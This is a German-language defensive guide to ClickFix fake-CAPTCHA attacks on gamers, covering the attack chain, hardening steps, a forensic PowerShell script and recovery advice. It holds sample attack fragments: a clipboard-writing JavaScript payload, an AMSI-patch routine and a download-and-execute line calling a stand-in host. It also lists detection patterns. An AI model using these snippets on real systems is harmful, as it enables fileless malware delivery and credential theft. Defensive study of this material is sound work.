ClickFix Social Engineering: Gefälschte CAPTCHAs, Zwischenablage-Manipulation und PowerShell-Angriffe im Gaming

Einführung: Die Ausbreitung von "ClickFix"-Angriffen im Gaming-Bereich

In der PC-Gaming-Landschaft stellen Modding-Repositories, Shader-Verteilungsseiten, Foren für inoffizielle Leistungs-Patches und Support-Plattformen für Spielabstürze traditionell attraktive Ziele für Cyberkriminelle dar. Über viele Jahre hinweg basierte die Verbreitung von Schadsoftware auf dem direkten Download manipulierter Binärdateien (.exe oder .zip), die als Trainer, Cheats oder Installationsprogramme getarnt waren. Heutige Webbrowser (Chrome, Edge, Firefox) und moderne Betriebssysteme verfügen jedoch über hochwirksame Schutzschichten: dateibasierte Reputationsanalysen (SmartScreen), isolierte Sandbox-Downloads und strikte Sicherheitsabfragen.

Um diese browserseitigen Barrieren vollständig zu umgehen, setzen Angreifer auf eine hochgradig manipulative Social-Engineering-Methode namens ClickFix (auch bekannt als "Fake-CAPTCHA"- oder "Clipboard-to-Run"-Angriff). Anstatt den Download einer verdächtigen Datei zu erzwingen, täuscht ClickFix eine Identitätsüberprüfung im Browser vor und verleitet den Nutzer dazu, eigenhändig das Windows-Ausführen-Fenster (Win + R) oder die PowerShell zu öffnen und einen bösartigen, verschleierten Befehl aus der Zwischenablage einzufügen und auszuführen.

Da der Befehl lokal mit den legitimen Rechten des Nutzers über systemeigene Administrationswerkzeuge gestartet wird, verzeichnet der Browser keinerlei Download-Aktivität, es landet keine Binärdatei im Download-Verzeichnis und herkömmliche signaturbasierte Virenscanner werden umgangen. Dieser Leitfaden analysiert die Angriffsarchitektur von ClickFix, die Mechanismen zur Deaktivierung des Windows-Schutzes (AMSI) im Arbeitsspeicher sowie systematische Diagnose- und Gegenmaßnahmen.

Die ClickFix-Angriffskette: Vom Download-Köder zur Speicher-Injektion

Der Angriffsablauf folgt einer präzise orchestrierten Abfolge, welche die Ungeduld von Spielern bei der Fehlersuche oder Mod-Installation gezielt ausnutzt:

[1. Nutzer besucht kompromittierte Ressourcen-Website (z. B. "Black Myth Wukong FPS Fix", "GTA 6 Leak Beta", "DLSS 3.5 Mod")]
                                |
                                v
[2. Einblendung eines gefälschten CAPTCHA-Overlays: "Bestätigen Sie, dass Sie kein Roboter sind" (Cloudflare-/reCAPTCHA-Klon)]
                                |
                                v
[3. Browser-DOM-Ereignis: JavaScript ruft navigator.clipboard.writeText(...) auf und lädt Schadcode in die Zwischenablage]
                                |
                                v
[4. Täuschende Handlungsanweisung: "Drücken Sie Win + R, fügen Sie mit Strg + V ein und drücken Sie Enter zur Verifizierung"]
                                |
                                v
[5. Ausführung im Windows-Ausführen-Dialog: explorer.exe startet powershell.exe / cmd.exe im Hintergrund]
                                |
                                v
[6. Verschleierte PowerShell-Ausführung: AMSI-Speicherpatching -> Nachladen von Infostealern (Lumma, Stealc, Vidar)]
                                |
                                v
[7. Daten-Exfiltration: Abgriff von Steam-Sitzungscookies, Discord-Tokens und Browserdaten an Angreifer-C2 / Telegram]

Phase 1: Zielgruppenspezifische Köder (SEO-Poisoning)

Angreifer registrieren Hunderte kurzlebige Webseiten, die für hochfrequentierte Suchbegriffe im Gaming-Bereich optimiert sind:

• "Black Myth Wukong dll Fix gegen Mikroruckler"
• "Cyberpunk 2077 Phantom Liberty DLC Unlocker"
• "Valorant Vanguard Anticheat Bypass 2026"
• "Roblox Skript-Executor kostenlos"
• "Discord Nitro Gratis-Code Portal"

Phase 2: Das täuschend echte CAPTCHA-Overlay

Klickt der Nutzer auf den Download-Button, startet keine Dateiübertragung. Stattdessen verdunkelt sich der Bildschirm und es erscheint ein modales Fenster, das Cloudflare Turnstile, hCaptcha oder Google reCAPTCHA detailgetreu nachahmt:

• Hinweistext: "Cloudflare-Sicherheitsprüfung: Bestätigen Sie, dass Sie ein Mensch sind".
• Nach Klick auf das Kontrollkästchen wird ein Ladefehler oder eine Fehlermeldung simuliert, gefolgt von einer "Reparaturanleitung":
  1. Drücken Sie die Windows-Taste + R auf Ihrer Tastatur.
  2. Drücken Sie Strg + V.
  3. Drücken Sie die Eingabetaste (Enter).
• Eine Variante gibt fehlende Systemkomponenten vor: "DirectX 12 Runtime fehlt auf dem System. Fügen Sie folgenden Befehl in die PowerShell ein, um den Download freizuschalten."

Phase 3: Lautlose Manipulation der Zwischenablage

Während der Nutzer die Textanweisungen liest, wird im Hintergrund bereits ein JavaScript-Befehl ausgeführt:

// Klick auf das falsche Prüffeld autorisiert die Beschriftung der Zwischenablage
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);

In Chromium-basierten Browsern wird navigator.clipboard.writeText() ohne separate Berechtigungsabfrage des Betriebssystems ausgeführt, sofern der Aufruf innerhalb eines direkten Interaktions-Events (wie dem Klick auf den gefälschten Prüfbutton) erfolgt. Der Nutzer ahnt nicht, dass sich in seiner Zwischenablage nun ein gefährlicher Systembefehl befindet.

Technische Analyse: Der Schadcode in der PowerShell

Wird der Befehl über Win + R ausgeführt, durchläuft der von explorer.exe erzeugte PowerShell-Prozess typischerweise vier aufeinanderfolgende Phasen:

1. Fensterunterdrückung und Umgehung der Ausführungsrichtlinie

Der Aufrufbefehl ist darauf ausgelegt, die Ausführung vor dem Benutzer zu verbergen:

  # Typischer ClickFix-Startbefehl
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."

• -ExecutionPolicy Bypass: Umgeht die Standard-Restriktionen für unvollständig signierte Skripte (wichtig: die Execution Policy ist kein Sicherheitsmechanismus gegen Angreifer, sondern eine Schutzmaßnahme gegen versehentliche Ausführungen und gilt nur für .ps1-Dateien, nicht für -Command).
• -WindowStyle Hidden: Minimiert und schließt das Konsolenfenster innerhalb weniger Millisekunden, um den Eindruck einer reibungslosen Hintergrundverifizierung zu erwecken.

2. In-Memory-Patching des Antimalware Scan Interface (AMSI)

Bevor weitere Schadsoftware nachgeladen werden kann, muss das systemeigene AMSI deaktiviert werden. AMSI scannt PowerShell-Skripte vor der Ausführung direkt im RAM auf bekannte Angriffsmuster.

Die Schadroutine nimmt eine gezielte Manipulation an der amsi.dll vor:

• Ermittlung der Speicheradresse der Funktion AmsiScanBuffer innerhalb der geladenen amsi.dll.
• Anpassung der Speicherseiten-Berechtigung auf Lesen, Schreiben und Ausführen (PAGE_EXECUTE_READWRITE) mittels der Windows-API VirtualProtect.
• Überschreiben der ersten Bytes der Funktion mit Maschinenbefehlen, die einen sofortigen Fehler- oder Erfolgsstatus erzwingen:

  mov eax, 0x80070057  ; E_INVALIDARG Fehlercode
  ret
  

• Durch diesen Eingriff schlägt jede nachfolgende Prüfung durch den Windows Defender fehl und wird als unbedenklich (AMSI_RESULT_CLEAN) gewertet. Der Schutz im laufenden Prozess ist somit vollständig ausgehebelt.

3. Dateilose Ausführung im Arbeitsspeicher (Fileless Execution)

Sobald AMSI neutralisiert ist, lädt die PowerShell den eigentlichen Schadcode über Netzwerkroutinen nach:

  # Nachladen und speicherbasierte Ausführung via Reflection
  $data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
  [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);

Durch den Einsatz von .NET-Reflection ([System.Reflection.Assembly]::Load) oder Techniken wie Process Hollowing in legitime Systemprozesse (MSBuild.exe, svchost.exe) verbleibt der Schadcode rein flüchtig im RAM, ohne Spuren in Form von Binärdateien auf der Festplatte zu hinterlassen.

4. Systematischer Abgriff von Gaming- und Browser-Daten

Der nachgeladene Infostealer (vorrangig Lumma, Stealc oder Vidar) zielt exakt auf die wertvollsten Identitätsnachweise von Spielern ab:

• Web-Sitzungscookies: Auslesen der Authentifizierungs-Cookies steamLoginSecure und sessionid aus Browser-Profilen.
• Discord-Tokens: Durchsuchen von %APPDATA%\discord\Local Storage\leveldb nach Autorisierungs-Tokens.
• Game-Launcher-Anmeldedaten: Erfassung gespeicherter Sitzungen des Epic Games Launchers, von Battle.net, dem Riot Client und EA Desktop.
• Krypto-Wallets und Inventare: Durchsuchen von Browser-Erweiterungen nach Wallets sowie Abgleich wertvoller Handelsgegenstände im Steam-Inventar.
• Exfiltration: Die aggregierten Daten werden verschlüsselt archiviert und via HTTPS an einen Telegram-Bot oder einen C2-Server übertragen.

ClickFix-Bedrohungsmatrix: Köder und forensische Spuren

Abwehrmaßnahmen: Härtung von Windows gegen ClickFix

Durch gezielte Systemrichtlinien lässt sich das Risiko einer erfolgreichen ClickFix-Ausführung minimieren:

1. Ausführliche Skriptblock-Protokollierung aktivieren (Event-ID 4104)

Standardmäßig speichert Windows interaktive Skriptaufrufe nicht lückenlos. Eine detaillierte Protokollierung ermöglicht es, auch verschleierte und dynamisch entpackte Befehle im Windows-Ereignisprotokoll nachzuvollziehen:

• Starten Sie gpedit.msc (Editor für lokale Gruppenrichtlinien).
• Navigieren Sie zu: Computerkonfiguration -> Administrative Vorlagen -> Windows-Komponenten -> Windows PowerShell.
• Setzen Sie Protokollierung von PowerShell-Skriptblöcken aktivieren auf "Aktiviert".

2. Eingeschränkten Sprachmodus (Constrained Language Mode) konfigurieren

Der Constrained Language Mode (CLM) untersagt der PowerShell den Zugriff auf erweiterte .NET-Reflection-Schnittstellen ([System.Reflection.Assembly]) sowie native Windows-APIs, wodurch speicherbasierte Malware-Lader zuverlässig blockiert werden:

• Setzen Sie die Systemumgebungsvariable __PSLockdownPolicy auf den Wert 4.

3. Veraltete Skript-Interpreter mittels WDAC einschränken

Um zu verhindern, dass Angreifer auf Hilfsprogramme wie mshta.exe oder wscript.exe ausweichen, sollten diese Ausführungsdateien über Windows Defender Application Control (WDAC) gesperrt oder überwacht werden.

PowerShell-Forensikskript: Erkennung von Infektionsspuren

Besteht der Verdacht, dass ein manipulierter Befehl ausgeführt wurde, sollte das System unverzüglich vom Netzwerk getrennt und folgendes Diagnoseskript ausgeführt werden:

  # Forensisches Diagnose-Skript für ClickFix-Kompromittierungen
  Write-Host "=== Forensische ClickFix-Überprüfung ===" -ForegroundColor Cyan
  
  # 1. Analyse des PowerShell-Konsolenverlaufs
  $historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  if (Test-Path $historyPath) {
      Write-Host "`n[1] Untersuche PowerShell-Verlauf auf verdächtige Befehle..." -ForegroundColor Yellow
      $suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
      $historyLines = Get-Content -Path $historyPath -Tail 50
      foreach ($line in $historyLines) {
          foreach ($pattern in $suspiciousPatterns) {
              if ($line -match $pattern) {
                  Write-Host "  [WARNUNG: Verdächtiger Befehl erkannt]: $line" -ForegroundColor Red
                  break
              }
          }
      }
  }
  
  # 2. Auslesen des Windows-Ausführen-Verlaufs (RunMRU)
  Write-Host "`n[2] Überprüfe Registrierungseinträge des Ausführen-Dialogs..." -ForegroundColor Yellow
  $runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
  if (Test-Path $runMruPath) {
      $mruEntries = Get-ItemProperty -Path $runMruPath
      $mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
          if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
              Write-Host "  [GEFAHR: Verdächtiger RunMRU-Eintrag]: $($_.Name) = $($_.Value)" -ForegroundColor Red
          } else {
              Write-Host "  [Regulärer Eintrag]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
          }
      }
  }
  
  # 3. Überprüfung von Autostart-Einträgen in der Registrierung
  Write-Host "`n[3] Untersuche Autostart-Schlüssel des Nutzers..." -ForegroundColor Yellow
  $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
  Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan

Sofortmaßnahmen und Wiederherstellungsprotokoll

Wurde die Ausführung eines bösartigen Befehls bestätigt, sind folgende Schritte zwingend einzuleiten:

1. Physische Netzwerktrennung: Ziehen Sie das Netzwerkkabel ab oder deaktivieren Sie WLAN, um das Hochladen entwendeter Sitzungsdaten an die Angreifer-Server zu stoppen.
2. Sitzungsentzug über ein sicheres Drittgerät:
   • Melden Sie sich über ein Smartphone oder einen Zweit-PC bei Steam an: Gehen Sie auf Einstellungen -> Sicherheit -> Alle anderen Geräte abmelden. Dadurch verlieren gestohlene steamLoginSecure-Cookies umgehend ihre Gültigkeit.
   • Ändern Sie das Passwort Ihres Discord-Accounts, wodurch alle aktiven Nutzer-Tokens unmittelbar entwertet werden.
   • Melden Sie sich bei Google-, Microsoft- und Epic Games-Konten von sämtlichen Sitzungen ab und vergeben Sie neue Kennwörter.
3. Steam Web-API-Schlüssel bereinigen: Überprüfen Sie unter https://steamcommunity.com/dev/apikey auf einem sicheren Gerät, ob unberechtigt ein API-Schlüssel registriert wurde, und widerrufen Sie diesen sofort.
4. Offline-Virenprüfung durchführen: Führen Sie eine vollständige Überprüfung mittels Microsoft Defender Offline oder einem startfähigen Rettungs-USB-Stick durch, um etwaige persistente Hintertüren zu entfernen.
5. Sicherheitsbewusstsein durch technisches Verständnis stärken: Seriöse Verifizierungsdienste wie Cloudflare oder Google operieren ausschließlich innerhalb der Browser-Umgebung. Kein legitimer Dienst fordert jemals dazu auf, Win + R zu drücken oder Befehle in die Konsole einzufügen. Das Verständnis von Betriebssystemarchitekturen und Sicherheitsgrenzen über fundierte Fachressourcen wie 365Finds schützt wirksam vor manipulativen Social-Engineering-Taktiken und sichert Gaming-Bibliotheken dauerhaft ab.

Referenzen

• Social Engineering (Security) - Wikipedia
• PowerShell - Wikipedia
• Malware - Wikipedia
• CAPTCHA - Wikipedia